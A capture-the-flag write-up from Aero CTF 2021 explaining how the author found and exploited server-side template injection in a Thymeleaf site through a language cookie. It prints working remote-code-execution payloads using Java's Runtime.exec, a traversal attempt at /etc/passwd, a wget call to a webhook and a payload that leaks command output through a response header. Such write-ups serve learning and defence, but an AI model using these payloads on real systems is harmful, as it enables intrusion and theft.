Aero CTF 2021
Author: p4w @ beerpwn
Twitter https://twitter.com/p4w16
Challenge description (Web category)
TL;DR
Server Side Template Injection on Thymeleaf template engine to gain RCE.
Solution
Discovery of the vuln
The challenge description says that the site is available in english and russian, this probably is written to point the attention to something involving the language.
Also the challenge description tell that the flag should be located at /
on the file system, this make me think that it is necessary to gain at least an arbitrary file read or RCE to get the flag.
By inspection the site it is possible to notice that we can choose the language by clicking on a button.
As it is possible to notice that when the button is clicked (onclick
event), then the set_language(lang)
function will be executed.
The function simply set a cookie named lang with the values en or ru and then reload the page. Let’s inspect the requests with burp-proxy.
The first thing that I tried during the CTF, was to modify the cookie with some simple directory traversal payloads.
The directory traversal seems working, but if we try to include some arbitrary file (such as /etc/passwd) we got a 500 internal server error. The error is verbose enough to show the server side exception: org.thymeleaf.exceptions.TemplateInputException and by googling this error, I come across to this template engine: thymeleaf.
The exception thrown seems to be related to loading the template, and that smells like SSTI to me. So I start searching for SSTI on Thymeleaf and I discovered a couple of related articles:
- https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
- https://www.veracode.com/blog/secure-development/spring-view-manipulation-vulnerability
Exploitation
Reading these articles, we can see that it may be possible to do template injection in Thymeleaf if a template name or a fragment are concatenated with untrusted data. To get a better explanation and details I really council the readers to read the articles mentioned before. The proposed payloads to gain RCE are these:
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("<cmd-here>").getInputStream()).next()}__::.x
${T(java.lang.Runtime).getRuntime().exec('<cmd-here>')}
At this point I simply tried one of these payloads into the lang cookie with a command such as wget <webhook-endpoint>
to verify the command execution
and it worked :=).
Now I had RCE, since the flag was located at /, I needed some way to enumerate the file system contents and extract the flag. Problem was that it was not possible to use all the bash functionality such us |, &, $, ...
. I also tried to extract or write files with wget
, but no luck with that solution.
To summarize I had the ability to run commands, but no way to build a payload (time based or OOB) that allow me to extract the output of an arbitrary command.
At this point I start to read the thymeleaf documentation and some Java-doc for Java objects, the basic idea that I had was to insert the output of the executed command directly into the response, for example by using a crafted HTTP header response with the output. After a bit of pain, I was able to build this payload: __${#response.setHeader("cmd-out","test")}__::.x
and it worked :)!
*[the above payload should work well on Thymeleaf 3.0, probably for Thymeleaf 2.1 could be: __${#ctx.httpServletResponse.setHeader("cmd-out","test")}__::.x
]
Now that we have the ability to modify the response, I simply played a bit with the Java-doc to build a payload that reads the output of the command and save it into the crafted header. The final payload:
__${#response.setHeader(\"cmd-out\",#uris.escapeQueryParam(new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec(\"ls\").getInputStream())).lines().toArray()[0]))}__::.x
This payload will execute the ls
command, read the first line, url-encode it and insert in the cmd-header
of the HTTP response.
Here you can download a simple python script that I made during the CTF to automate all of these steps and read all the lines of the executed command.
That’s all folks, I think that was really an interesting challenge!
Cheers, p4w =)